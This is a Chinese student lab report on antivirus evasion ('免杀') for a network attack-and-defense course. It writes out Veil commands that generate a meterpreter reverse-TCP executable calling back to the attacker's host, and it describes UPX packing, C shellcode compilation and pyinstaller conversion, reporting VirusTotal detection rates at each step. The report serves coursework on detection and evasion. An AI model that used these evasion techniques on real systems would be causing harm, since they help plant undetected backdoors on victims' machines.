目录
- 一.实验信息
- 二.实验内容
- 三.实验知识
- 四.实验过程
- 五.基础问题回答
- 六.实验总结体会
一.实验信息
- 课程名称:网络对抗技术
- 实验序号:3
- 实验名称:免杀原理
- 实验人:20201207徐艺铭
二.实验内容
2.1 实验内容
2.1.1 方法(分)
- 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件(1分),
- veil,加壳工具(1分),
- 使用C + shellcode编程(1分),
2.1.2 通过组合应用各种技术实现恶意代码免杀(1分)
如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。
2.1.3 附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分1)
2.2 报告要求
-
报告整体观感
(1)报告格式范围,版面整洁 加1分。
(2) 报告排版混乱,加0分。 -
文字表述
(1)报告文字内容全面,表述清晰准确 加1分。
(2)报告表述不清或文字有明显抄袭可能 加0分。 -
截图要求:
(1) 所有操作截图主机名为本人姓名拼音。
(2) 所编辑的文件名包含自己的学号。
三.实验知识
3.1 免杀
免杀,也就是病毒与反间谍的对立面,英文为Anti-AntiVirus(简写Virus AV),翻译为“反杀毒技术”。
这是一种能使病毒木马免于被杀毒软件查杀的技术。
由于免杀技术涉及到很多方面,包括反汇编、逆向工程、系统漏洞等技术,难度很高,所以本篇文章内容基本上都是修改病毒、木马的内容改变特征码,从而躲避杀毒软件的查杀。
3.2 veil evasion
veil-evasion是linux平台的一款免杀工具,可直接通过apt-get安装,用来生成msf的payload,能绕过常见的杀软
Veil-Evasion 是一个用 Python 编写的免杀框架,专门为攻击安全测试过程中免杀使用的工具,它可以将任意脚本或一段 Shellcode 转换成 Windows 可执行文件,从而逃避常见防病毒产品的检测。Veil 2.0 于 2013 年 6 月 17 日公开使用,自那时以来,核心框架基本上保持不变。对框架本身进行了一些修改,大部分修改涉及对新编程语言和新有效负载模块的支持。
3.3 实验检测平台
四.实验过程
4.1 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
4.1.1 直接将实验2生成的可执行文件使用VirusTotal检测,可以看到是53/68,检测率很高
- 使用unicode进行一次编码
- 检测率没什么变化(54/69)
4.1.2 使用unicode编码7次(-i 编码次数)
- 编码次数越多越慢,基本上是大小时间成倍增加
- 检测率基本不变(51/69)
4.1.3生成php格式文件和jar文件
- 生成php格式文件
- 检测结果下降很多
- 生成jar文件
- 检测结果同样下降不少
4.2 使用veil和加壳工具
4.2.1 veil-evasion的安装
- 使用命令
sudo apt-get install veil-evasion
准备安装
- 输入
cd /usr/share/veil/config
和vim setup.sh
,找到图1中的内容修改成图2
图1
图2
- 修改成功后veil等待安装
- 经过漫长的等待时间和提示安装需要的软件,终于完成(这里它会弹出不同软件的提示框我们只要一步一步跟着装即可,如果出现方块字符,一般选项会有蓝框框指引我们选择正确的选项)
4.2.2 使用veil和加壳工具降低检出率
- 使用
use evasion
进入环境
- 使用如下命令
use c/meterpreter/rev_tcp.py
set LHOST [Kali ip]
set LPORT 1207
generate
201207_veil(自己设置的文件名)
- 终端自动输出的内容中找到文件存放的位置
- exe文件检测结果(37/69)
- 使用upx加壳命令
- 检测结果不降反升(41/69),杀软对于加壳还是敏感度很高的
4.3 使用C + shellcode编程
- 在终端中使用如下命令生成c语言的shellcode
- 得到下图shellcode
vim shellcode1207_c.c
,将刚刚得到的shellcode复制进去,同时再加一行内容,如图
- 保存c文件后编译为可执行文件,使用命令
i686-w64-mingw32-g++ shellcode1207_c.c -o shellcode1207_c.exe
- 将生成的可执行文件拉去检测,检出率同样中等(33/69)
4.4 通过组合应用各种技术实现恶意代码免杀(py+exe)
4.4.1 尝试一(生成py后直接生成exe文件)
- 使用如图命令先生成py文件
- 检测py文件,检出率下降(21/58)
- windows中使用命令
py install pyinstaller
安装pyinstaller工具
- 在windows包含刚刚py文件的文件夹下,使用命令
pyinstaller -F shell_1207.py
将py文件转化为可执行文件,可以看到当前文件夹中有一个dist文件夹,点开里面放着生成的可执行文件
- 拖去检测,检出率虽然比较低但是跟心理预期有很大差距(16/68)
- 不死心,使用windows点开可执行文件,同时kali机提前设置好监听,获取权限失败,显示died T.T
4.4.2 尝试二(生成raw格式装入.py文件中)
- 使用下图命令
- 检测(11/59)感觉还可以,但是转为exe文件的时候报错,后期会继续尝试解决报错问题继续检测!
4.5 附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
五.基础问题回答
杀软是如何检测出恶意代码的?
- 检测特征码
人有自己的特征,代码也有自己的特征。杀毒软件都有着一套特征库,依靠检索程序代码是否和库中特征码是否吻合来判断某段代码是否属于病毒。 - 启发式恶意软件检测
如果该程序的特征和行为与病毒程序类似,其匹配程度达到一定值就可以认为该程序是病毒程序。 - 基于行为检测
与启发式检测类似,只是单纯依靠监测程序行为来作为标准。通过监视恶意代码运行过程,如利用系统监视工具观察恶意代码运行过程时系统环境的变化,或通过跟踪恶意代码执行过程使用的系统函数和指令特征分析恶意代码功能,如出现恶意行为,则属于恶意代码。
免杀是做什么?
- 免杀就是去除恶意代码的特征,使其绕开杀软的检测,免于查杀
免杀就是反病毒技术,它指的是一种使病毒木马免于被杀软查杀的技术,由于免杀技术的涉猎范围非常广,其中包含反会变、逆向工程、系统漏洞等和可技术,所以难度很高,其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。
免杀的基本方法有哪些?
- 自捆绑+多次编码
- evasion免杀
- backdoor factory
开启杀软能绝对防止电脑中恶意代码吗?
- 道高一尺魔高一丈,杀软不能绝对防止恶意代码。
六.实验总结体会
- 在本次实验中,没有固定的流程格式,有的只是想办法包装自己的后门程序逃脱免杀,所以方式很具有多样化,不过通过这段时间的实践下来,我觉得最有望逃脱免杀的是综合利用py文件和其他工具的办法(虽然我这里没能成功躲过杀软回弹连接,但感觉它的效果是最好的)。
- 实验中有同学完成了免杀,这说明我们用不太复杂的手段应该就可以躲过AV软件的检测,更加说明了在信息时代植入后门获取权限之易,未来会检查自己的电子设备是否存在可疑进程使用端口,是否有其他不知名用户获得了不该获得的权限,一是避免自己的信息称为透明化存在,而是避免自己的电子设备称为别人发起进攻的肉鸡。
- 接下来一段时间也会继续免杀的试验研究!!